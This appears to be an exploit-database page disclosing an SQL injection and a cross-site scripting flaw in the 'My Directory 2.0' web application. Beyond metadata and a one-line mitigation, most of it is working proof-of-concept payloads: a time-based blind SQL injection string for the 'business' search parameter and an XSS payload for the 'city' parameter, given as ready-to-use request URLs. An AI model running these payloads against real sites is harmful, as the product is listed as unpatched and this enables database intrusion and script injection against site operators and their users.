header-logo
Suggest Exploit
vendor:
My Directory
by:
Özkan Mustafa Akkus (AkkuS)
7.5
CVSS
HIGH
SQL Injection/Cross-Site Scripting
89, 79
CWE
Product Name: My Directory
Affected Version From: 2
Affected Version To: 2
Patch Exists: NO
Related CWE: N/A
CPE: a:codecanyon:my_directory
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2018

My Directory 2.0 – SQL Injection / Cross-Site Scripting

The vulnerability allows an attacker to inject sql commands from the user search section with 'business' parameter. Another parameter 'city', has XSS vulnerability.

Mitigation:

Input validation and sanitization should be done for user input.
Source

Exploit-DB raw data:

# Exploit Title: My Directory 2.0 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/my-directory/15859886
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the user search section with 'business' parameter.
Another parameter 'city', has XSS vulnerability.
====================================================

# PoC : SQLi :

Parameter: business (GET)

    Type: AND/OR time-based blind
    Demo:
http://site.com/SearchResult/result?city=test&business=test&from_type=&latitude=&image=&rating=&longitude=&place_id=
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: city=test&business=test%' AND SLEEP(5) AND
'%'='&from_type=&latitude=&image=&rating=&longitude=&place_id=

====================================================

# PoC : XSS :

  Payload :
http://site.com/SearchResult/result?city=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&business=test&from_type=&latitude=&image=&rating=&longitude=&place_id=